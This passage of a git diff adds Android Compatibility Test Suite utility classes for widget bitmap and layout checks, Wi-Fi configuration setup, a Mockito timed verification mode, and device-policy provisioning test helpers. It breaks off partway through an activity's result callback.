+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.rule.ActivityTestRule;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.view.View;
+import android.view.ViewTreeObserver;
+
+import junit.framework.Assert;
+
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static android.view.ViewTreeObserver.OnDrawListener;
+import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+/**
+ * The useful methods for widget test.
+ */
+public class WidgetTestUtils {
+    /**
+     * Assert that two bitmaps have identical content (same dimensions, same configuration,
+     * same pixel content).
+     *
+     * @param b1 the first bitmap which needs to compare.
+     * @param b2 the second bitmap which needs to compare.
+     */
+    public static void assertEquals(Bitmap b1, Bitmap b2) {
+        if (b1 == b2) {
+            return;
+        }
+
+        if (b1 == null || b2 == null) {
+            Assert.fail("the bitmaps are not equal");
+        }
+
+        // b1 and b2 are all not null.
+        if (b1.getWidth() != b2.getWidth() || b1.getHeight() != b2.getHeight()
+            || b1.getConfig() != b2.getConfig()) {
+            Assert.fail("the bitmaps are not equal");
+        }
+
+        int w = b1.getWidth();
+        int h = b1.getHeight();
+        int s = w * h;
+        int[] pixels1 = new int[s];
+        int[] pixels2 = new int[s];
+
+        b1.getPixels(pixels1, 0, w, 0, 0, w, h);
+        b2.getPixels(pixels2, 0, w, 0, 0, w, h);
+
+        for (int i = 0; i < s; i++) {
+            if (pixels1[i] != pixels2[i]) {
+                Assert.fail("the bitmaps are not equal");
+            }
+        }
+    }
+
+    /**
+     * Find beginning of the special element.
+     * @param parser XmlPullParser will be parsed.
+     * @param firstElementName the target element name.
+     *
+     * @throws XmlPullParserException if XML Pull Parser related faults occur.
+     * @throws IOException if I/O-related error occur when parsing.
+     */
+    public static final void beginDocument(XmlPullParser parser, String firstElementName)
+            throws XmlPullParserException, IOException {
+        Assert.assertNotNull(parser);
+        Assert.assertNotNull(firstElementName);
+
+        int type;
+        while ((type = parser.next()) != XmlPullParser.START_TAG
+                && type != XmlPullParser.END_DOCUMENT) {
+            ;
+        }
+
+        if (!parser.getName().equals(firstElementName)) {
+            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
+                    + ", expected " + firstElementName);
+        }
+    }
+
+    /**
+     * Compare the expected pixels with actual, scaling for the target context density
+     *
+     * @throws AssertionFailedError
+     */
+    public static void assertScaledPixels(int expected, int actual, Context context) {
+        Assert.assertEquals(expected * context.getResources().getDisplayMetrics().density,
+                actual, 3);
+    }
+
+    /** Converts dips into pixels using the {@link Context}'s density. */
+    public static int convertDipToPixels(Context context, int dip) {
+      float density = context.getResources().getDisplayMetrics().density;
+      return Math.round(density * dip);
+    }
+
+    /**
+     * Retrieve a bitmap that can be used for comparison on any density
+     * @param resources
+     * @return the {@link Bitmap} or <code>null</code>
+     */
+    public static Bitmap getUnscaledBitmap(Resources resources, int resId) {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inScaled = false;
+        return BitmapFactory.decodeResource(resources, resId, options);
+    }
+
+    /**
+     * Retrieve a dithered bitmap that can be used for comparison on any density
+     * @param resources
+     * @param config the preferred config for the returning bitmap
+     * @return the {@link Bitmap} or <code>null</code>
+     */
+    public static Bitmap getUnscaledAndDitheredBitmap(Resources resources,
+            int resId, Bitmap.Config config) {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inDither = true;
+        options.inScaled = false;
+        options.inPreferredConfig = config;
+        return BitmapFactory.decodeResource(resources, resId, options);
+    }
+
+    /**
+     * Argument matcher for equality check of a CharSequence.
+     *
+     * @param expected expected CharSequence
+     *
+     * @return
+     */
+    public static CharSequence sameCharSequence(final CharSequence expected) {
+        return argThat(new BaseMatcher<CharSequence>() {
+            @Override
+            public boolean matches(Object o) {
+                if (o instanceof CharSequence) {
+                    return TextUtils.equals(expected, (CharSequence) o);
+                }
+                return false;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("doesn't match " + expected);
+            }
+        });
+    }
+
+    /**
+     * Argument matcher for equality check of an Editable.
+     *
+     * @param expected expected Editable
+     *
+     * @return
+     */
+    public static Editable sameEditable(final Editable expected) {
+        return argThat(new BaseMatcher<Editable>() {
+            @Override
+            public boolean matches(Object o) {
+                if (o instanceof Editable) {
+                    return TextUtils.equals(expected, (Editable) o);
+                }
+                return false;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("doesn't match " + expected);
+            }
+        });
+    }
+
+    /**
+     * Runs the specified Runnable on the main thread and ensures that the specified View's tree is
+     * drawn before returning.
+     *
+     * @param activityTestRule the activity test rule used to run the test
+     * @param view the view whose tree should be drawn before returning
+     * @param runner the runnable to run on the main thread, or {@code null} to
+     *               simply force invalidation and a draw pass
+     */
+    public static void runOnMainAndDrawSync(@NonNull final ActivityTestRule activityTestRule,
+            @NonNull final View view, @Nullable final Runnable runner) throws Throwable {
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        activityTestRule.runOnUiThread(() -> {
+            final OnDrawListener listener = new OnDrawListener() {
+                @Override
+                public void onDraw() {
+                    // posting so that the sync happens after the draw that's about to happen
+                    view.post(() -> {
+                        activityTestRule.getActivity().getWindow().getDecorView().
+                                getViewTreeObserver().removeOnDrawListener(this);
+                        latch.countDown();
+                    });
+                }
+            };
+
+            activityTestRule.getActivity().getWindow().getDecorView().
+                    getViewTreeObserver().addOnDrawListener(listener);
+
+            if (runner != null) {
+                runner.run();
+            }
+            view.invalidate();
+        });
+
+        try {
+            Assert.assertTrue("Expected draw pass occurred within 5 seconds",
+                    latch.await(5, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Runs the specified Runnable on the main thread and ensures that the activity's view tree is
+     * laid out before returning.
+     *
+     * @param activityTestRule the activity test rule used to run the test
+     * @param runner the runnable to run on the main thread. {@code null} is
+     * allowed, and simply means that there no runnable is required.
+     * @param forceLayout true if there should be an explicit call to requestLayout(),
+     * false otherwise
+     */
+    public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
+            @Nullable final Runnable runner, boolean forceLayout)
+            throws Throwable {
+        runOnMainAndLayoutSync(activityTestRule,
+                activityTestRule.getActivity().getWindow().getDecorView(), runner, forceLayout);
+    }
+
+    /**
+     * Runs the specified Runnable on the main thread and ensures that the specified view is
+     * laid out before returning.
+     *
+     * @param activityTestRule the activity test rule used to run the test
+     * @param view The view
+     * @param runner the runnable to run on the main thread. {@code null} is
+     * allowed, and simply means that there no runnable is required.
+     * @param forceLayout true if there should be an explicit call to requestLayout(),
+     * false otherwise
+     */
+    public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
+            @NonNull final View view, @Nullable final Runnable runner, boolean forceLayout)
+            throws Throwable {
+        final View rootView = view.getRootView();
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        activityTestRule.runOnUiThread(() -> {
+            final OnGlobalLayoutListener listener = new ViewTreeObserver.OnGlobalLayoutListener() {
+                @Override
+                public void onGlobalLayout() {
+                    rootView.getViewTreeObserver().removeOnGlobalLayoutListener(this);
+                    // countdown immediately since the layout we were waiting on has happened
+                    latch.countDown();
+                }
+            };
+
+            rootView.getViewTreeObserver().addOnGlobalLayoutListener(listener);
+
+            if (runner != null) {
+                runner.run();
+            }
+
+            if (forceLayout) {
+                rootView.requestLayout();
+            }
+        });
+
+        try {
+            Assert.assertTrue("Expected layout pass within 5 seconds",
+                    latch.await(5, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
new file mode 100755
index 0000000..19d843b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.net.wifi.WifiManager.EXTRA_WIFI_STATE;
+import static android.net.wifi.WifiManager.WIFI_STATE_ENABLED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ProxyInfo;
+import android.net.Uri;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A simple activity to create and manage wifi configurations.
+ */
+public class WifiConfigCreator {
+    public static final String ACTION_CREATE_WIFI_CONFIG =
+            "com.android.compatibility.common.util.CREATE_WIFI_CONFIG";
+    public static final String ACTION_UPDATE_WIFI_CONFIG =
+            "com.android.compatibility.common.util.UPDATE_WIFI_CONFIG";
+    public static final String ACTION_REMOVE_WIFI_CONFIG =
+            "com.android.compatibility.common.util.REMOVE_WIFI_CONFIG";
+    public static final String EXTRA_NETID = "extra-netid";
+    public static final String EXTRA_SSID = "extra-ssid";
+    public static final String EXTRA_SECURITY_TYPE = "extra-security-type";
+    public static final String EXTRA_PASSWORD = "extra-password";
+
+    public static final int SECURITY_TYPE_NONE = 1;
+    public static final int SECURITY_TYPE_WPA = 2;
+    public static final int SECURITY_TYPE_WEP = 3;
+
+    private static final String TAG = "WifiConfigCreator";
+
+    private static final long ENABLE_WIFI_WAIT_SEC = 10L;
+
+    private final Context mContext;
+    private final WifiManager mWifiManager;
+
+    public WifiConfigCreator(Context context) {
+        mContext = context;
+        mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+    }
+
+    /**
+     * Adds a new WiFi network.
+     * @return network id or -1 in case of error
+     */
+    public int addNetwork(String ssid, boolean hidden, int securityType,
+            String password) throws InterruptedException, SecurityException {
+        checkAndEnableWifi();
+
+        WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
+
+        int netId = mWifiManager.addNetwork(wifiConf);
+
+        if (netId != -1) {
+            mWifiManager.enableNetwork(netId, true);
+        } else {
+            Log.w(TAG, "Unable to add SSID '" + ssid + "': netId = " + netId);
+        }
+        return netId;
+    }
+
+    /**
+     * Adds a new wifiConfiguration with OPEN security type, and the given pacProxy
+     * verifies that the proxy is added by getting the configuration back, and checking it.
+     * @return returns the PAC proxy URL after adding the network and getting it from WifiManager
+     * @throws IllegalStateException if any of the WifiManager operations fail
+     */
+    public String addHttpProxyNetworkVerifyAndRemove(String ssid, String pacProxyUrl)
+            throws IllegalStateException {
+        String retrievedPacProxyUrl = null;
+        int netId = -1;
+        try {
+            WifiConfiguration conf = createConfig(ssid, false, SECURITY_TYPE_NONE, null);
+            if (pacProxyUrl != null) {
+                conf.setHttpProxy(ProxyInfo.buildPacProxy(Uri.parse(pacProxyUrl)));
+            }
+            netId = mWifiManager.addNetwork(conf);
+            if (netId == -1) {
+                throw new IllegalStateException("Failed to addNetwork: " + ssid);
+            }
+            for (final WifiConfiguration w : mWifiManager.getConfiguredNetworks()) {
+                if (w.SSID.equals(ssid)) {
+                    conf = w;
+                    break;
+                }
+            }
+            if (conf == null) {
+                throw new IllegalStateException("Failed to get WifiConfiguration for: " + ssid);
+            }
+            Uri pacProxyFileUri = null;
+            ProxyInfo httpProxy = conf.getHttpProxy();
+            if (httpProxy != null) pacProxyFileUri = httpProxy.getPacFileUrl();
+            if (pacProxyFileUri != null) {
+                retrievedPacProxyUrl = conf.getHttpProxy().getPacFileUrl().toString();
+            }
+            if (!mWifiManager.removeNetwork(netId)) {
+                throw new IllegalStateException("Failed to remove WifiConfiguration: " + ssid);
+            }
+        } finally {
+            mWifiManager.removeNetwork(netId);
+        }
+        return retrievedPacProxyUrl;
+    }
+
+    /**
+     * Updates a new WiFi network.
+     * @return network id (may differ from original) or -1 in case of error
+     */
+    public int updateNetwork(WifiConfiguration wifiConf, String ssid, boolean hidden,
+            int securityType, String password) throws InterruptedException, SecurityException {
+        checkAndEnableWifi();
+        if (wifiConf == null) {
+            return -1;
+        }
+
+        WifiConfiguration conf = createConfig(ssid, hidden, securityType, password);
+        conf.networkId = wifiConf.networkId;
+
+        int newNetId = mWifiManager.updateNetwork(conf);
+
+        if (newNetId != -1) {
+            mWifiManager.saveConfiguration();
+            mWifiManager.enableNetwork(newNetId, true);
+        } else {
+            Log.w(TAG, "Unable to update SSID '" + ssid + "': netId = " + newNetId);
+        }
+        return newNetId;
+    }
+
+    /**
+     * Updates a new WiFi network.
+     * @return network id (may differ from original) or -1 in case of error
+     */
+    public int updateNetwork(int netId, String ssid, boolean hidden,
+            int securityType, String password) throws InterruptedException, SecurityException {
+        checkAndEnableWifi();
+
+        WifiConfiguration wifiConf = null;
+        List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+        for (WifiConfiguration config : configs) {
+            if (config.networkId == netId) {
+                wifiConf = config;
+                break;
+            }
+        }
+        return updateNetwork(wifiConf, ssid, hidden, securityType, password);
+    }
+
+    public boolean removeNetwork(int netId) {
+        return mWifiManager.removeNetwork(netId);
+    }
+
+    /**
+     * Creates a WifiConfiguration set up according to given parameters
+     * @param ssid SSID of the network
+     * @param hidden Is SSID not broadcast?
+     * @param securityType One of {@link #SECURITY_TYPE_NONE}, {@link #SECURITY_TYPE_WPA} or
+     *                     {@link #SECURITY_TYPE_WEP}
+     * @param password Password for WPA or WEP
+     * @return Created configuration object
+     */
+    private WifiConfiguration createConfig(String ssid, boolean hidden, int securityType,
+            String password) {
+        WifiConfiguration wifiConf = new WifiConfiguration();
+        if (!TextUtils.isEmpty(ssid)) {
+            wifiConf.SSID = '"' + ssid + '"';
+        }
+        wifiConf.status = WifiConfiguration.Status.ENABLED;
+        wifiConf.hiddenSSID = hidden;
+        switch (securityType) {
+            case SECURITY_TYPE_NONE:
+                wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
+                break;
+            case SECURITY_TYPE_WPA:
+                updateForWPAConfiguration(wifiConf, password);
+                break;
+            case SECURITY_TYPE_WEP:
+                updateForWEPConfiguration(wifiConf, password);
+                break;
+        }
+        return wifiConf;
+    }
+
+    private void updateForWPAConfiguration(WifiConfiguration wifiConf, String wifiPassword) {
+        wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
+        if (!TextUtils.isEmpty(wifiPassword)) {
+            wifiConf.preSharedKey = '"' + wifiPassword + '"';
+        }
+    }
+
+    private void updateForWEPConfiguration(WifiConfiguration wifiConf, String password) {
+        wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
+        wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.OPEN);
+        wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.SHARED);
+        if (!TextUtils.isEmpty(password)) {
+            int length = password.length();
+            if ((length == 10 || length == 26
+                    || length == 58) && password.matches("[0-9A-Fa-f]*")) {
+                wifiConf.wepKeys[0] = password;
+            } else {
+                wifiConf.wepKeys[0] = '"' + password + '"';
+            }
+            wifiConf.wepTxKeyIndex = 0;
+        }
+    }
+
+    private void checkAndEnableWifi() throws InterruptedException {
+        final CountDownLatch enabledLatch = new CountDownLatch(1);
+
+        // Register a change receiver first to pick up events between isEnabled and setEnabled
+        final BroadcastReceiver watcher = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (intent.getIntExtra(EXTRA_WIFI_STATE, -1) == WIFI_STATE_ENABLED) {
+                    enabledLatch.countDown();
+                }
+            }
+        };
+
+        mContext.registerReceiver(watcher, new IntentFilter(WifiManager.WIFI_STATE_CHANGED_ACTION));
+        try {
+            // In case wifi is not already enabled, wait for it to come up
+            if (!mWifiManager.isWifiEnabled()) {
+                mWifiManager.setWifiEnabled(true);
+                enabledLatch.await(ENABLE_WIFI_WAIT_SEC, TimeUnit.SECONDS);
+            }
+        } finally {
+            mContext.unregisterReceiver(watcher);
+        }
+    }
+}
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/Within.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/Within.java
new file mode 100644
index 0000000..4d9ff80
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/Within.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.SystemClock;
+
+import org.mockito.Mockito;
+import org.mockito.exceptions.base.MockitoAssertionError;
+import org.mockito.internal.verification.api.VerificationData;
+import org.mockito.invocation.Invocation;
+import org.mockito.verification.VerificationMode;
+
+import java.util.List;
+
+/**
+ * Custom verification mode that allows waiting for the specific invocation to happen within
+ * a certain time interval. Not that unlike {@link Mockito#timeout(int)}, this mode will not
+ * return early and throw exception if the expected method was called with a different set of
+ * parameters before the call that we're waiting for.
+ */
+public class Within implements VerificationMode {
+    private static final long TIME_SLICE = 50;
+    private final long mTimeout;
+
+    public Within(long timeout) {
+        mTimeout = timeout;
+    }
+
+    @Override
+    public void verify(VerificationData data) {
+        long timeout = mTimeout;
+        MockitoAssertionError errorToRethrow = null;
+        // Loop in the same way we do in PollingCheck, sleeping and then testing for the target
+        // invocation
+        while (timeout > 0) {
+            SystemClock.sleep(TIME_SLICE);
+
+            try {
+                final List<Invocation> actualInvocations = data.getAllInvocations();
+                // Iterate over all invocations so far to see if we have a match
+                for (Invocation invocation : actualInvocations) {
+                    if (data.getWanted().matches(invocation)) {
+                        // Found our match within our timeout. Mark all invocations as verified
+                        markAllInvocationsAsVerified(data);
+                        // and return
+                        return;
+                    }
+                }
+            } catch (MockitoAssertionError assertionError) {
+                errorToRethrow = assertionError;
+            }
+
+            timeout -= TIME_SLICE;
+        }
+
+        if (errorToRethrow != null) {
+            throw errorToRethrow;
+        }
+
+        throw new MockitoAssertionError(
+                "Timed out while waiting " + mTimeout + "ms for " + data.getWanted().toString());
+    }
+
+    // TODO: Uncomment once upgraded to 2.7.13
+    // @Override
+    public VerificationMode description(String description) {
+        // Return this for now.
+        // TODO: Return wrapper once upgraded to 2.7.13
+        return this;
+    }
+
+    private void markAllInvocationsAsVerified(VerificationData data) {
+        for (Invocation invocation : data.getAllInvocations()) {
+            invocation.markVerified();
+            data.getWanted().captureArgumentsFrom(invocation);
+        }
+    }
+}
diff --git a/hostsidetests/api/src/com/android/cts/api/PulledFile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
similarity index 62%
copy from hostsidetests/api/src/com/android/cts/api/PulledFile.java
copy to common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
index 4742d52..2fdb26b 100644
--- a/hostsidetests/api/src/com/android/cts/api/PulledFile.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,17 +13,8 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
 
-package com.android.cts.api;
-
-import java.io.File;
-
-class PulledFile {
-    final File fileInHost;
-    final String pathInDevice;
-
-    PulledFile(File fileInHost, String pathInDevice) {
-        this.fileInHost = fileInHost;
-        this.pathInDevice = pathInDevice;
-    }
-}
+interface IBooleanCallback {
+    oneway void onResult(boolean result);
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
new file mode 100644
index 0000000..ae6849c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.content.Intent.ACTION_MANAGED_PROFILE_ADDED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.RemoteException;
+import androidx.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class SilentProvisioningTestManager {
+    private static final long TIMEOUT_SECONDS = 120L;
+    private static final String TAG = "SilentProvisioningTest";
+
+    private final LinkedBlockingQueue<Boolean> mProvisioningResults = new LinkedBlockingQueue(1);
+
+    private final IBooleanCallback mProvisioningResultCallback = new IBooleanCallback.Stub() {
+        @Override
+        public void onResult(boolean result) {
+            try {
+                mProvisioningResults.put(result);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "IBooleanCallback.callback", e);
+            }
+        }
+    };
+
+    private final Context mContext;
+    private Intent mReceivedProfileProvisionedIntent;
+
+    public SilentProvisioningTestManager(Context context) {
+        mContext = context.getApplicationContext();
+    }
+
+    public Intent getReceviedProfileProvisionedIntent() {
+        return mReceivedProfileProvisionedIntent;
+    }
+
+    public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
+        wakeUpAndDismissInsecureKeyguard();
+        mContext.startActivity(getStartIntent(provisioningIntent));
+        Log.i(TAG, "startActivity with intent: " + provisioningIntent);
+
+        if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
+            return waitManagedProfileProvisioning();
+        } else {
+            return waitDeviceOwnerProvisioning();
+        }
+    }
+
+    private boolean waitDeviceOwnerProvisioning() throws InterruptedException {
+        return pollProvisioningResult();
+    }
+
+    private boolean waitManagedProfileProvisioning() throws InterruptedException {
+        BlockingBroadcastReceiver managedProfileProvisionedReceiver =
+                new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_PROVISIONED);
+        BlockingBroadcastReceiver managedProfileAddedReceiver =
+                new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_ADDED);
+        try {
+            managedProfileProvisionedReceiver.register();
+            managedProfileAddedReceiver.register();
+
+            if (!pollProvisioningResult()) {
+                return false;
+            }
+
+            mReceivedProfileProvisionedIntent =
+                    managedProfileProvisionedReceiver.awaitForBroadcast();
+            if (mReceivedProfileProvisionedIntent == null) {
+                Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
+                return false;
+            }
+
+            if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
+                Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
+                return false;
+            }
+        } finally {
+            managedProfileProvisionedReceiver.unregisterQuietly();
+            managedProfileAddedReceiver.unregisterQuietly();
+        }
+        return true;
+    }
+
+    private boolean pollProvisioningResult() throws InterruptedException {
+        Boolean result = mProvisioningResults.poll(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        if (result == null) {
+            Log.i(TAG, "ManagedProvisioning doesn't return result within "
+                    + TIMEOUT_SECONDS + " seconds ");
+            return false;
+        }
+
+        if (!result) {
+            Log.i(TAG, "Failed to provision");
+            return false;
+        }
+        return true;
+    }
+
+    private Intent getStartIntent(Intent intent) {
+        final Bundle bundle = new Bundle();
+        bundle.putParcelable(Intent.EXTRA_INTENT, intent);
+        bundle.putBinder(StartProvisioningActivity.EXTRA_BOOLEAN_CALLBACK,
+                mProvisioningResultCallback.asBinder());
+        return new Intent(mContext, StartProvisioningActivity.class)
+                .putExtras(bundle)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    }
+
+    private static void wakeUpAndDismissInsecureKeyguard() {
+        try {
+            UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            uiDevice.wakeUp();
+            uiDevice.pressMenu();
+        } catch (RemoteException e) {
+            Log.e(TAG, "wakeUpScreen", e);
+        }
+    }
+
+    private static class BlockingReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final Context mContext;
+        private final String mAction;
+        private Intent mReceivedIntent;
+
+        private BlockingReceiver(Context context, String action) {
+            mContext = context;
+            mAction = action;
+            mReceivedIntent = null;
+        }
+
+        public void register() {
+            mContext.registerReceiver(this, new IntentFilter(mAction));
+        }
+
+        public boolean await() throws InterruptedException {
+            return mLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        }
+
+        public Intent getReceivedIntent() {
+            return mReceivedIntent;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mReceivedIntent = intent;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
new file mode 100644
index 0000000..4a98794
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.devicepolicy.provisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.WindowManager;
+
+/**
+ * Must register it in AndroidManifest.xml
+ * <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"></activity>
+ */
+public class StartProvisioningActivity extends Activity {
+    private static final int REQUEST_CODE = 1;
+    private static final String TAG = "StartProvisionActivity";
+
+    public static final String EXTRA_BOOLEAN_CALLBACK = "EXTRA_BOOLEAN_CALLBACK";
+
+    IBooleanCallback mResultCallback;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Reduce flakiness of the test
+        // Show activity on top of keyguard
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+        // Turn on screen to prevent activity being paused by system
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+        mResultCallback = IBooleanCallback.Stub.asInterface(
+                getIntent().getExtras().getBinder(EXTRA_BOOLEAN_CALLBACK));
+        Log.i(TAG, "result callback class name " + mResultCallback);
+
+        // Only provision it if the activity is not re-created
+        if (savedInstanceState == null) {
+            Intent provisioningIntent = getIntent().getParcelableExtra(Intent.EXTRA_INTENT);
+
+            startActivityForResult(provisioningIntent, REQUEST_CODE);
+            Log.i(TAG, "Start provisioning intent");
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE) {
+            try {
+                boolean result = resultCode == RESULT_OK;
+                mResultCallback.onResult(result);
+                Log.i(TAG, "onActivityResult result: " + result);
+            } catch (RemoteException e) {
